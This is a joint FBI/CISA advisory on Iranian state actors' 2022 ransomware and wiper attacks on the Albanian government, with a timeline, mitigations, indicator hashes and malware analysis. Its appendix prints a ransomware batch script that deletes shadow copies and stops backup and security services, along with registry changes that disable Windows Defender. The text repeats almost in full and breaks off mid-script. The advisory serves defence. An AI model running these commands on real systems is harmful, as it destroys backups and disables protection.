AA22-264A: Iranian State Actors Conduct Cyber Operations Against the Government of Albania

Cybersecurity
Original release date: September 21, 2022 | Last revised: September 23, 2022
Summary The Federal Bureau of Investigation (FBI) and the Cybersecurity and
Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity
Advisory to provide information on recent cyber operations against the
Government of Albania in July and September. This advisory provides a timeline
of activity observed, from initial access to execution of encryption and wiper
attacks. Additional information concerning files used by the actors during
their exploitation of and cyber attack against the victim organization is
provided in Appendices A and B. In July 2022, Iranian state cyber
actors—identifying as “HomeLand Justice”—launched a destructive cyber attack
against the Government of Albania which rendered websites and services
unavailable. A FBI investigation indicates Iranian state cyber actors acquired
initial access to the victim’s network approximately 14 months before
launching the destructive cyber attack, which included a ransomware-style file
encryptor and disk wiping malware. The actors maintained continuous network
access for approximately a year, periodically accessing and exfiltrating
e-mail content. Between May and June 2022, Iranian state cyber actors
conducted lateral movements, network reconnaissance, and credential harvesting
from Albanian government networks. In July 2022, the actors launched
ransomware on the networks, leaving an anti-Mujahideen E-Khalq (MEK) message
on desktops. When network defenders identified and began to respond to the
ransomware activity, the cyber actors deployed a version of ZeroCleare
destructive malware. In June 2022, HomeLand Justice created a website and
multiple social media profiles posting anti-MEK messages. On July 18, 2022,
HomeLand Justice claimed credit for the cyber attack on Albanian government
infrastructure. On July 23, 2022, Homeland Justice posted videos of the cyber
attack on their website. From late July to mid-August 2022, social media
accounts associated with HomeLand Justice demonstrated a repeated pattern of
advertising Albanian Government information for release, posting a poll asking
respondents to select the government information to be released by HomeLand
Justice, and then releasing that information—either in a .zip file or a video
of a screen recording with the documents shown. In September 2022, Iranian
cyber actors launched another wave of cyber attacks against the Government of
Albania, using similar TTPs and malware as the cyber attacks in July. These
were likely done in retaliation for public attribution of the cyber attacks in
July and severed diplomatic ties between Albania and Iran. Download the PDF
version of this report: pdf, 1221 kb Download the STIX file: pdf, 44 KB
Technical Details Initial access Timeframe: Approximately 14 months before
encryption and wiper attacks. Details: Initial access was obtained via
exploitation of an Internet-facing Microsoft SharePoint, exploiting
CVE-2019-0604. Persistence and Lateral movement Timeframe: Approximately
several days to two months after initial compromise. Details: After obtaining
access to the victim environment, the actors used several .aspx webshells,
pickers.aspx , error4.aspx , and ClientBin.aspx , to maintain persistence.
During this timeframe, the actors also used RDP (primarily), SMB, and FTP for
lateral movement throughout the victim environment. Exchange Server compromise
Timeframe: Approximately 1-6 months after initial compromise. Details: The
actors used a compromised Microsoft Exchange account to run searches (via
CmdLets New-MailboxSearch and Get-Recipient) on various mailboxes, including
for administrator accounts. In this timeframe, the actors used the compromised
account to create a new Exchange account and add it to the Organization
Management role group. Likely Email exfiltration Timeframe: Approximately 8
months after initial compromise. Details: The actors made thousands of HTTP
POST requests to Exchange servers of the victim organization. The FBI observed
the client transferring roughly 70-160 MB of data, and the server transferring
roughly 3-20 GB of data. VPN activity Timeframe: Approximately 12-14 months
after initial compromise. Details: Approximately twelve months after initial
access and two months before launching the destructive cyber attack, the
actors made connections to IP addresses belonging to the victim organization’s
Virtual Private Network (VPN) appliance. The actors’ activity primarily
involved two compromised accounts. The actors executed the “Advanced Port
Scanner” (advanced_port_scanner.exe). The FBI also found evidence of Mimikatz
usage and LSASS dumping. File Cryptor (ransomware-style file encryptor)
Timeframe: Approximately 14 months after initial compromise. Details: For the
encryption component of the cyber attack, the actor logged in to a victim
organization print server via RDP and kicked off a process (Mellona.exe) which
would propagate the GoXml.exe encryptor to a list of internal machines, along
with a persistence script called win.bat. As deployed, GoXML.exe encrypted all
files (except those having extensions .exe, .dll, .sys, .lnk, or .lck) on the
target system, leaving behind a ransom note titled How_To_Unlock_MyFiles.txt
in each folder impacted. Wiper attack Timeframe: Approximately 14 months after
initial compromise. Details: In the same timeframe as the encryption attack,
the actors began actions that resulted in raw disk drives being wiped with the
Disk Wiper tool (cl.exe) described in Appendix A. Approximately over the next
eight hours, numerous RDP connections were logged from an identified victim
server to other hosts on the victim’s network. Command line execution of
cl.exe was observed in cached bitmap files from these RDP sessions on the
victim server. Mitigations FBI and CISA recommend organizations apply the
following best practices to reduce risk of compromise: Ensure anti-virus and
anti-malware software is enabled and signature definitions are updated
regularly and in a timely manner. Well-maintained anti-virus software may
prevent use of commonly deployed cyber attacker tools that are delivered via
spear-phishing. Adopt threat reputation services at the network device,
operating system, application, and email service levels . Reputation services
can be used to detect or prevent low-reputation email addresses, files, URLs,
and IP addresses used in spear-phishing attacks. If your organization is
employing certain types of software and appliances vulnerable to known Common
Vulnerabilities and Exposures (CVEs), ensure those vulnerabilities are patched
. Prioritize patching known exploited vulnerabilities . Monitor for unusually
large amounts of data (i.e. several GB) being transferred from a Microsoft
Exchange server. Check the host-based indications , including webshells, for
positive hits within your environment. Maintain and test an incident response
plan. Ensure your organization has a vulnerability management program in place
and that it prioritizes patch management and vulnerability scanning of known
exploited vulnerabilities . Note : CISA’s Cyber Hygiene Services (CyHy) are
free to all state, local, tribal, and territorial (SLTT) organizations, as
well as public and private sector critical infrastructure organizations.
Properly configure and secure internet-facing network devices. Do not expose
management interfaces to the internet. Disable unused or unnecessary network
ports and protocols. Disable/remove unused network services and devices. Adopt
zero-trust principles and architecture , including: Micro-segmenting networks
and functions to limit or block lateral movements. Enforcing phishing-
resistant multifactor authentication (MFA) for all users and VPN connections.
Restricting access to trusted devices and users on the networks. For more
information on Iranian government-sponsored malicious cyber activity, see
CISA’s webpage – Iran Cyber Threat Overview and Advisories . Appendix A Host-
based IOCs Additional details concerning some of these files are provided in
Appendix B. File MD5 Hash Notes Error4.aspx 81e123351eb80e605ad73268a5653ff3
Webshell cl.exe 7b71764236f244ae971742ee1bc6b098 Wiper GoXML.exe
bbe983dba3bf319621b447618548b740 Encryptor Goxml.jpg
0738242a521bdfe1f3ecc173f1726aa1 ClientBin.aspx
a9fa6cfdba41c57d8094545e9b56db36 Webshell (reverse-proxy connections)
Pickers.aspx 8f766dea3afd410ebcd5df5994a3c571 Webshell
evaluatesiteupgrade.cs.aspx Unknown Webshell mellona.exe
78562ba0069d4235f28efd01e3f32a82 Propagation for Encryptor win.bat
1635e1acd72809479e21b0ac5497a79b Launches GoXml.exe on startup win.bat
18e01dee14167c1cf8a58b6a648ee049 Changes desktop background to encryption
image bb.bat 59a85e8ec23ef5b5c215cd5c8e5bc2ab Saves SAM and SYSTEM hives to
C:\Temp, makes cab archive disable_defender.exe
60afb1e62ac61424a542b8c7b4d2cf01 Disables Windows Defender rwdsk.sys
8f6e7653807ebb57ecc549cef991d505 Raw disk driver utilized by wiper malware
App_Web_bckwssht.dll e9b6ecbf0783fa9d6981bba76d949c94 Network-based IOCs FBI
review of Commercial VPN service IP addresses revealed the following
resolutions (per Akamai data): Country Company AL KEMINET LTD. DE
NOOP-84-247-59-0-25 DE GSL NETWORKS GB LON-CLIENTS GB GB-DATACENTER NL NL-
LAYERSWITCH-20190220 NL PANQ-45-86-200-0 US PRIVATE CUSTOMER US BANDITO
NETWORKS US EXTERNAL US RU-SELENA-20080725 US TRANS OCEAN NETWORK Appendix B
Ransomware Cryptor GoXML.exe is a ransomware style file encryptor. It is a
Windows executable, digitally signed with a certificate issued to the Kuwait
Telecommunications Company KSC, a subsidiary of Saudi Telecommunications
Company (STC). If executed with five or more arguments (the arguments can be
anything, as long as there are five or more), the program silently engages its
file encryption functionality. Otherwise, a file-open dialog Window is
presented, and any opened documents receive an error prompt labeled, Xml Form
Builder. All internal strings are encrypted with a hard coded RC4 key. Before
internal data is decrypted, the string decryption routine has a built-in self-
test that decrypts a DWORD value and tests to see if the plaintext is the
string yes . If so, it will continue to decode its internal strings. The
ransomware will attempt to launch the following batch script; however, this
will fail due to a syntax error. @for /F “skip=1” %C in (‘wmic LogicalDisk get
DeviceID’) do (@wmic /namespace:\\\root\default Path SystemRestore Call
disable “%C\” & @rd /s /q %C\$Recycle.bin) @vssadmin.exe delete shadows /all
/quiet @set SrvLst=vss sql svc$ memtas mepos sophos veeam backup GxVss GxBlr
GxFWD GxCVD GxCIMgr DefWatch ccEvtMgr ccSetMgr SavRoam RTVscan QBFCService
QBIDPService ntuit.QuickBooks.FCS QBCFMonitorService YooBackup YooIT
zhudongfangyu sophos stc_raw_agent VSNAPVSS VeeamTransportSvc
VeeamDeploymentService VeeamNFSSvc veeam PDVFSService BackupExecVSSProvider
BackupExecAgentAccelerator BackupExecAgentBrowser BackupExecDiveciMediaService
BackupExecJobEngine BackupExecManagementService BackupExecRPCService
AcrSch2Svc AcronisAgent CASAD2DWebSvc CAARCUpdateSvc @for %C in (%SrvLst%) do
@net stop %C @set SrvLst= @set PrcLst=mysql sql oracle ocssd dbsnmp synctime
agntsvc isqlplussvc xfssvccon mydesktopservice ocautoupds encsvc tbirdconfig
mydesktopqos ocomm dbeng50 sqbcoreservice excel infopath msaccess mspub
onenote outlook powerpnt steam thebat thunderbird visio winword wordpad
notepad @for %C in (%PrcLst%) do @taskkill /f /im “%C.exe” @set PrcLst= @exit
The syntax error consists of a missing backslash that separates system32 and
cmd.exe , so the process is launched as system32cmd.exe which is an invalid
command. The ransomware’s file encryption routine will generate a random
string, take the MD5 hash and use that to generate an RC4 128 key which is
used to encrypt files. This key is encrypted with a hard coded Public RSA key
and converted to Base64 utilizing a custom alphabet. This is appended to the
end of the ransom note. The cryptor places a file called
How_To_Unlock_MyFiles.txt in directories with encrypted files. Each encrypted
file is given the .lck extension and the contents of each file are only
encrypted up to 0x100000 or 1,048,576 bytes which is a hard coded limit.
Separately, the actor ran a batch script (win.bat below) to set a specific
desktop background. File Details GoXml.exe File Size: 43.48 KB (44520 bytes)
SHA256: f116acc6508843f59e59fb5a8d643370dce82f492a217764521f46a856cc4cb5 SHA1:
5d117d8ef075f3f8ed1d4edcc0771a2a0886a376 MD5: bbe983dba3bf319621b447618548b740
SSDeep: 768:+OFu8Q3w6QzfR5Jni6SQD7qSFDs6P93/q0XIc/UB5EPABWX
:RFu8QAFzffJui79f13/AnB5EPAkX (Ver 1.1) File Type: PE32 executable (GUI) Intel
80386 (stripped to external PDB), for MS Windows PE Header Timestamp:
2016-04-30 17:08:19 ImpHash: 5b2ce9270beea5915ec9adbcd0dbb070 Cert #0 Subject
C=KW, L=Salmiya, O=Kuwait Telecommunications Company KSC, OU=Kuwait
Telecommunications Company, CN=Kuwait Telecommunications Company KSC Cert #0
Issuer C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 Assured ID
Code Signing CA Cert #0 SHA1 55d90ec44b97b64b6dd4e3aee4d1585d6b14b26f win.bat
(#1, run malware) File Size: 67 bytes SHA256:
bad65769c0b416bb16a82b5be11f1d4788239f8b2ba77ae57948b53a69e230a6 SHA1:
14b8c155e01f25e749a9726958606b242c8624b9 MD5: 1635e1acd72809479e21b0ac5497a79b
SSDeep: 3:LjTFKCkRErG+fyM1KDCFUF82G:r0aH1+DF82G (Ver 1.1) File Type: ASCII
text, with no line terminators Contents: start /min
C:\ProgramData\Microsoft\Windows\GoXml.exe 1 2 3 4 5 6 7 win.bat (#2, install
desktop image) Filename:
ec4cd040fd14bff86f6f6e7ba357e5bcf150c455532800edf97782836e97f6d2 File Size:
765 bytes SHA256:
ec4cd040fd14bff86f6f6e7ba357e5bcf150c455532800edf97782836e97f6d2 SHA1:
fce0db6e66d227d3b82d4564446ede0c0fd7598c MD5: 18e01dee14167c1cf8a58b6a648ee049
SSDeep: 12:wbYVJ69/TsdLd6sdLd3mTDwfV+EVTCuwfV+EVTCuwfV+EVTCuwfV+EVTCuwfV
+Et:wq69/kZxZ3mTDY9HY9HY9HY9HY9j (Ver 1.1) File Type: DOS batch file text,
ASCII text, with CRLF line terminators Contents: @echo off setlocal
enabledelayedexpansion set “Wtime=!time:~0,2!” if “!Wtime!” leq “20” reg add
“HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /t REG_SZ /d
“c:\programdata\GoXml.jpg” /f & goto done if “!Wtime!” geq “20” reg add
“HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /t REG_SZ /d
“c:\programdata\GoXml.jpg” /f & goto done :done timeout /t 5 >nul start “” /b
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start “” /b
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start “” /b
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start “” /b
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start “” /b
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True endlocal
goxml.jpg File Size: 1.2 MB (1259040 bytes) SHA256:
63dd02c371e84323c4fd9a161a75e0f525423219e8a6ec1b95dd9eda182af2c9 SHA1:
683eaec2b3bb5436f00b2172e287dc95e2ff2266 MD5: 0738242a521bdfe1f3ecc173f1726aa1
SSDeep: 12288:ME0p1RE70zxntT/ylTyaaSMn2fS+0M6puxKfJbDKrCxMe5fPSC2tmx
VjpJT/n37p:MHyUt7yQaaPXS6pjar+MwrjpJ7VIbZg (Ver 1.1) File Type: JPEG image
data, Exif standard: [TIFF image data, big-endian, direntries=13, height=1752,
bps=0, PhotometricIntepretation=CMYK, orientation=upper-left, width=2484TIFF
image data, big-endian, direntries=13, height=1752, bps=0,
PhotometricIntepretation=CMYK, orientation=upper-left, width=2484],
progressive, precision 8, 2484×1752, components 4 Software: Adobe Photoshop
22.4 (Windows) Modify Date: 2022-07-13 20:45:20 Create Date: 2020-06-11
02:13:33 Metadata Date: 2022-07-13 20:45:20 Profile Date Time: 2000-07-26
05:41:53 Image Size: 2484×1752 File Size: 1.2 MB (1259040 bytes) SHA256:
63dd02c371e84323c4fd9a161a75e0f525423219e8a6ec1b95dd9eda182af2c9 Disk Wiper
The files cl.exe and rwdsk.sys are part of a disk wiper utility that provides
raw access to the hard drive for the purposes of wiping data. From the command
line the cl.exe file accepts the arguments: in un wp If executed with the in
command, the utility will output in start! and installs a hard coded file
named rwdsk.sys as a service named RawDisk3 . The .SYS file is not extracted
from the installer however, but rather the installer looks for the file in the
same directory that the cl.exe is executed in. It will also load the driver
after installation . The un command uninstalls the service, outputting the
message “un start!” to the terminal. The wp command will access the loaded
driver for raw disk access. The long hexadecimal string is hard coded in the
cl.exe binary. RawDisk3File = (void *)toOpenRawDisk3File( arg2_WideCharStr,
0xC0000000,
L”B4B615C28CCD059CF8ED1ABF1C71FE03C0354522990AF63ADF3C911E2287A4B906D47D”);
ptrRawDiskFile = RawDisk3File; if ( RawDisk3File ) { sizeDisk =
toGetDiskSize(RawDisk3File); terminal_out(“Total Bytez : %lld\n”, sizeDisk << 9); The wp command also takes an additional argument as a device path to place after \RawDisk3\ in the output string. It is uncertain what creates this path to a device as the driver tested did not. The output is “wp starts!” followed by the total bytes of the drive and the time the wipe operation takes. If the registry key value HKLM\SOFTWARE\EldoS\EventLog is set to “Enabled”, the install will generate an event log if at any time the install produces an error. This log contains an error code DWORD followed by the string ..\\..\DriverLibraries\DrvSupLib\install.c. If the system does not have the SOFTWARE\EldoS key, no event logs would be produced. This feature must be a related to the legitimate EldoS utility. rwdsk.sys is a “legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer’s hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features."https://attack.mitre.org/software/S0364/ File Details cl.exe File Size 142.5 KB (145920 bytes) SHA256 e1204ebbd8f15dbf5f2e41dddc5337e3182fc4daf75b05acc948b8b965480ca0 SHA1 f22a7ec80fbfdc4d8ed796119c76bfac01e0a908 MD5 7b71764236f244ae971742ee1bc6b098 SSDeep 3072:vv2ADi7yOcE/YMBSZ0fZX4kpK1OhJrDwM:vv2jeQ/flfZbKM (Ver 1.1) Filetype PE32+ executable (console) x86-64, for MS Windows PE Header Timestamp 2022-07-15 13:26:28 ImpHash 58d51c1152817ca3dec77f2eee52cbef rwdsk.sys File Size 38.84 KB (39776 bytes) SHA256 3c9dc8ada56adf9cebfc501a2d3946680dcb0534a137e2e27a7fcb5994cd9de6 SHA1 5e061701b14faf9adec9dd0b2423ff3cfc18764b MD5 8f6e7653807ebb57ecc549cef991d505 SSDeep 768:E31ySCpoCbXnfDbEaJSooKIDyE9aBazWlEAusxsia:0gyCb3MFKIHO4Ausxta (Ver 1.1) Filetype PE32+ executable (native) x86-64, for MS Windows PEtype Driver PE Header Timestamp 2016-03-18 14:44:54 ImpHash e233f2cdc91faafe1467d9e52f166213 Cert #0 Subject CN=VeriSign Time Stamping Services CA, O=VeriSign, Inc., C=US Cert #0 Issuer CN=VeriSign Time Stamping Services CA, O=VeriSign, Inc., C=US Cert #0 SHA1 382c18388fb326221dfd7a77ee874f9ba60e04bf Cert #1 Subject C=US, ST=California, L=SANTA CLARA, O=NVIDIA Corporation, CN=NVIDIA Corporation Cert #1 Issuer C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA Cert #1 SHA1 30632ea310114105969d0bda28fdce267104754f Cert #2 Subject C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=(c) 2006 VeriSign, Inc. - For authorized use only, CN=VeriSign Class 3 Public Primary Certification Authority - G5 Cert #2 Issuer C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Code Verification Root Cert #2 SHA1 57534ccc33914c41f70e2cbb2103a1db18817d8b Cert #3 Subject C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA Cert #3 Issuer C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=(c) 2006 VeriSign, Inc. - For authorized use only, CN=VeriSign Class 3 Public Primary Certification Authority - G5 Cert #3 SHA1 495847a93187cfb8c71f840cb7b41497ad95c64f Additional Files Web Deployed Reverse Proxy Description ClientBin.aspx is an ASP file that contains a Base64 encoded .Net executable (App_Web_bckwssht.dll) that it decodes and loads via Reflection. The .Net executable contains Class and Method obfuscation and internal strings are encoded with a single byte XOR obfuscation. public static string hair_school_bracket() { return Umbrella_admit_arctic.rebel_sadreporthospital("460F2830272A2F2266052928202F21661627252D27212368"); //Invalid Config Package. } public static string Visual_math_already() { return Umbrella_admit_arctic.rebel_sadreporthospital("5304057E0116001607"); //WV-RESET The method rebel_sadreporthospital takes the first byte of the encoded string and XOR’s each subsequent byte to produce the de-obfuscated string. When run in context of an IIS web server connecting to the ASPX file will generate a 200 1.5 output. The hex string represents the following ASCII text: Base64, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null Sending a POST request with a Base64 encoded IP and port will open a second socket to the supplied IP and port making this a Web proxy. Sending a request to WV- RESET with a value will produce an OK response and call a function to shut down the proxy socket. The DLL extracts a secondary “EncryptionDLL” named Base64.dll which is loaded via Assembly.Load. This exposes two functions, encrypt and decrypt. This DLL is used to decrypt the Proxy IP and port along with data. In this instance the class name is misspelled Bsae64, which is also reflected in the calling DLLs decoded strings. It is uncertain as to why an additional Base64.dll binary is extracted when the same encoding could be hard coded in the original DLL. It is possible other versions of this tool utilize differing “EncryptionDLL” binaries. File Details ClientBin.aspx File Size 55.24 KB (56561 bytes) SHA256 7ad64b64e0a4e510be42ba631868bbda8779139dc0daad9395ab048306cc83c5 SHA1 e03edd9114e7a0138d1309034cad6b461ab0035b MD5 a9fa6cfdba41c57d8094545e9b56db36 SSDeep 768:x9TfK6nOgo5zE/cezUijAwZIFxK1mGjncrF8EAZ0iBDZBZdywb0DwHN4N4wjMxr8:x9TfdOgAi2 (Ver 1.1) Filetype HTML document text, ASCII text, with very long lines (56458) App_Web_bckwssht.dll File Size 41.0 KB (41984 bytes) SHA256 cad2bc224108142b5aa19d787c19df236b0d12c779273d05f9b0298a63dc1fe5 SHA1 49fd8de33aa0ea0c7432d62f1ddca832fab25325 MD5 e9b6ecbf0783fa9d6981bba76d949c94 SSDeep 384:coY4jnD7l9VAk1dtrGBlLGYEX1tah8dgNyamGOvMTfdYN5qZAsP:hlXAkHRGBlUUh8cFmpv6feYLP (Ver 1.1) Filetype PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows PEtype DLL PE Header Timestamp 2021-06-07 10:37:55 ImpHash dae02f32a21e03ce65412f6e56942daa Disable Defender Description disable_defender.exe is a Microsoft Windows PE file that attempts to disable Windows Defender. The application will elevate privileges to that of SYSTEM and then attempt to disable Defender’s core functions. A command prompt with status and error messages is displayed as the application executes. No network activity was detected during the evaluation. Upon execution, a command prompt is launched and a message is displayed if the process is not running as SYSTEM. The process is then restarted with the required permissions. The application will attempt to terminate the Windows Defender process by calling TerminateProcess for smartscreen.exe: The following Registry Keys were modified to disable Windows Defender: Set Registry Values (observed Win10 1709) HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection 0 HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware 1 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ StartupApproved\Run\SecurityHealth 03 00 00 00 5D 02 00 00 41 3B 47 9D HKLM\SOFTWARE\Microsoft\Windows Defender\DisableAntiSpyware 1 HKLM\System\CurrentControlSet\Services\WinDefend\Start 3 HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\ DisableRealtimeMonitoring 1 Upon completion and if successful the application will display the following messages and wait for user input. disable- defender.exe File Size 292.0 KB (299008 bytes) SHA256 45bf0057b3121c6e444b316afafdd802d16083282d1cbfde3cdbf2a9d0915ace SHA1 e866cc6b1507f21f688ecc2ef15a64e413743da7 MD5 60afb1e62ac61424a542b8c7b4d2cf01 SSDeep 6144:t2WhikbJZc+Wrbe/t1zT/p03BuGJ1oh7ISCLun:t2WpZnW+/tVoJ1ouQ (Ver 1.1) Filetype PE32+ executable (console) x86-64, for MS Windows PEtype EXE PE Header Timestamp 2021-10-24 15:07:32 ImpHash 74a6ef9e7b49c71341e439022f643c8e Revisions September 21, 2022: Initial Version September 22, 2022: Reordered items in the Mitigation Section September 23, 2022: Add the STIX file This product is provided subject to this Notification and this Privacy & Use policy.Original release date: September 21, 2022 | Last revised: September 23, 2022 Summary The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory to provide information on recent cyber operations against the Government of Albania in July and September. This advisory provides a timeline of activity observed, from initial access to execution of encryption and wiper attacks. Additional information concerning files used by the actors during their exploitation of and cyber attack against the victim organization is provided in Appendices A and B. In July 2022, Iranian state cyber actors—identifying as “HomeLand Justice”—launched a destructive cyber attack against the Government of Albania which rendered websites and services unavailable. A FBI investigation indicates Iranian state cyber actors acquired initial access to the victim’s network approximately 14 months before launching the destructive cyber attack, which included a ransomware-style file encryptor and disk wiping malware. The actors maintained continuous network access for approximately a year, periodically accessing and exfiltrating e-mail content. Between May and June 2022, Iranian state cyber actors conducted lateral movements, network reconnaissance, and credential harvesting from Albanian government networks. In July 2022, the actors launched ransomware on the networks, leaving an anti-Mujahideen E-Khalq (MEK) message on desktops. When network defenders identified and began to respond to the ransomware activity, the cyber actors deployed a version of ZeroCleare destructive malware. In June 2022, HomeLand Justice created a website and multiple social media profiles posting anti-MEK messages. On July 18, 2022, HomeLand Justice claimed credit for the cyber attack on Albanian government infrastructure. On July 23, 2022, Homeland Justice posted videos of the cyber attack on their website. From late July to mid-August 2022, social media accounts associated with HomeLand Justice demonstrated a repeated pattern of advertising Albanian Government information for release, posting a poll asking respondents to select the government information to be released by HomeLand Justice, and then releasing that information—either in a .zip file or a video of a screen recording with the documents shown. In September 2022, Iranian cyber actors launched another wave of cyber attacks against the Government of Albania, using similar TTPs and malware as the cyber attacks in July. These were likely done in retaliation for public attribution of the cyber attacks in July and severed diplomatic ties between Albania and Iran. Download the PDF version of this report: pdf, 1221 kb Download the STIX file: pdf, 44 KB Technical Details Initial access Timeframe: Approximately 14 months before encryption and wiper attacks. Details: Initial access was obtained via exploitation of an Internet-facing Microsoft SharePoint, exploiting CVE-2019-0604. Persistence and Lateral movement Timeframe: Approximately several days to two months after initial compromise. Details: After obtaining access to the victim environment, the actors used several .aspx webshells, pickers.aspx , error4.aspx , and ClientBin.aspx , to maintain persistence. During this timeframe, the actors also used RDP (primarily), SMB, and FTP for lateral movement throughout the victim environment. Exchange Server compromise Timeframe: Approximately 1-6 months after initial compromise. Details: The actors used a compromised Microsoft Exchange account to run searches (via CmdLets New-MailboxSearch and Get-Recipient) on various mailboxes, including for administrator accounts. In this timeframe, the actors used the compromised account to create a new Exchange account and add it to the Organization Management role group. Likely Email exfiltration Timeframe: Approximately 8 months after initial compromise. Details: The actors made thousands of HTTP POST requests to Exchange servers of the victim organization. The FBI observed the client transferring roughly 70-160 MB of data, and the server transferring roughly 3-20 GB of data. VPN activity Timeframe: Approximately 12-14 months after initial compromise. Details: Approximately twelve months after initial access and two months before launching the destructive cyber attack, the actors made connections to IP addresses belonging to the victim organization’s Virtual Private Network (VPN) appliance. The actors’ activity primarily involved two compromised accounts. The actors executed the “Advanced Port Scanner” (advanced_port_scanner.exe). The FBI also found evidence of Mimikatz usage and LSASS dumping. File Cryptor (ransomware-style file encryptor) Timeframe: Approximately 14 months after initial compromise. Details: For the encryption component of the cyber attack, the actor logged in to a victim organization print server via RDP and kicked off a process (Mellona.exe) which would propagate the GoXml.exe encryptor to a list of internal machines, along with a persistence script called win.bat. As deployed, GoXML.exe encrypted all files (except those having extensions .exe, .dll, .sys, .lnk, or .lck) on the target system, leaving behind a ransom note titled How_To_Unlock_MyFiles.txt in each folder impacted. Wiper attack Timeframe: Approximately 14 months after initial compromise. Details: In the same timeframe as the encryption attack, the actors began actions that resulted in raw disk drives being wiped with the Disk Wiper tool (cl.exe) described in Appendix A. Approximately over the next eight hours, numerous RDP connections were logged from an identified victim server to other hosts on the victim’s network. Command line execution of cl.exe was observed in cached bitmap files from these RDP sessions on the victim server. Mitigations FBI and CISA recommend organizations apply the following best practices to reduce risk of compromise: Ensure anti-virus and anti-malware software is enabled and signature definitions are updated regularly and in a timely manner. Well-maintained anti-virus software may prevent use of commonly deployed cyber attacker tools that are delivered via spear-phishing. Adopt threat reputation services at the network device, operating system, application, and email service levels . Reputation services can be used to detect or prevent low-reputation email addresses, files, URLs, and IP addresses used in spear-phishing attacks. If your organization is employing certain types of software and appliances vulnerable to known Common Vulnerabilities and Exposures (CVEs), ensure those vulnerabilities are patched . Prioritize patching known exploited vulnerabilities . Monitor for unusually large amounts of data (i.e. several GB) being transferred from a Microsoft Exchange server. Check the host-based indications , including webshells, for positive hits within your environment. Maintain and test an incident response plan. Ensure your organization has a vulnerability management program in place and that it prioritizes patch management and vulnerability scanning of known exploited vulnerabilities . Note : CISA’s Cyber Hygiene Services (CyHy) are free to all state, local, tribal, and territorial (SLTT) organizations, as well as public and private sector critical infrastructure organizations. Properly configure and secure internet-facing network devices. Do not expose management interfaces to the internet. Disable unused or unnecessary network ports and protocols. Disable/remove unused network services and devices. Adopt zero-trust principles and architecture , including: Micro-segmenting networks and functions to limit or block lateral movements. Enforcing phishing- resistant multifactor authentication (MFA) for all users and VPN connections. Restricting access to trusted devices and users on the networks. For more information on Iranian government-sponsored malicious cyber activity, see CISA's webpage – Iran Cyber Threat Overview and Advisories . Appendix A Host- based IOCs Additional details concerning some of these files are provided in Appendix B. File MD5 Hash Notes Error4.aspx 81e123351eb80e605ad73268a5653ff3 Webshell cl.exe 7b71764236f244ae971742ee1bc6b098 Wiper GoXML.exe bbe983dba3bf319621b447618548b740 Encryptor Goxml.jpg 0738242a521bdfe1f3ecc173f1726aa1 ClientBin.aspx a9fa6cfdba41c57d8094545e9b56db36 Webshell (reverse-proxy connections) Pickers.aspx 8f766dea3afd410ebcd5df5994a3c571 Webshell evaluatesiteupgrade.cs.aspx Unknown Webshell mellona.exe 78562ba0069d4235f28efd01e3f32a82 Propagation for Encryptor win.bat 1635e1acd72809479e21b0ac5497a79b Launches GoXml.exe on startup win.bat 18e01dee14167c1cf8a58b6a648ee049 Changes desktop background to encryption image bb.bat 59a85e8ec23ef5b5c215cd5c8e5bc2ab Saves SAM and SYSTEM hives to C:\Temp, makes cab archive disable_defender.exe 60afb1e62ac61424a542b8c7b4d2cf01 Disables Windows Defender rwdsk.sys 8f6e7653807ebb57ecc549cef991d505 Raw disk driver utilized by wiper malware App_Web_bckwssht.dll e9b6ecbf0783fa9d6981bba76d949c94 Network-based IOCs FBI review of Commercial VPN service IP addresses revealed the following resolutions (per Akamai data): Country Company AL KEMINET LTD. DE NOOP-84-247-59-0-25 DE GSL NETWORKS GB LON-CLIENTS GB GB-DATACENTER NL NL- LAYERSWITCH-20190220 NL PANQ-45-86-200-0 US PRIVATE CUSTOMER US BANDITO NETWORKS US EXTERNAL US RU-SELENA-20080725 US TRANS OCEAN NETWORK Appendix B Ransomware Cryptor GoXML.exe is a ransomware style file encryptor. It is a Windows executable, digitally signed with a certificate issued to the Kuwait Telecommunications Company KSC, a subsidiary of Saudi Telecommunications Company (STC). If executed with five or more arguments (the arguments can be anything, as long as there are five or more), the program silently engages its file encryption functionality. Otherwise, a file-open dialog Window is presented, and any opened documents receive an error prompt labeled, Xml Form Builder. All internal strings are encrypted with a hard coded RC4 key. Before internal data is decrypted, the string decryption routine has a built-in self- test that decrypts a DWORD value and tests to see if the plaintext is the string yes . If so, it will continue to decode its internal strings. The ransomware will attempt to launch the following batch script; however, this will fail due to a syntax error. @for /F "skip=1" %C in ('wmic LogicalDisk get DeviceID') do (@wmic /namespace:\\\root\default Path SystemRestore Call disable "%C\" & @rd /s /q %C\$Recycle.bin) @vssadmin.exe delete shadows /all /quiet @set SrvLst=vss sql svc$ memtas mepos sophos veeam backup GxVss GxBlr GxFWD 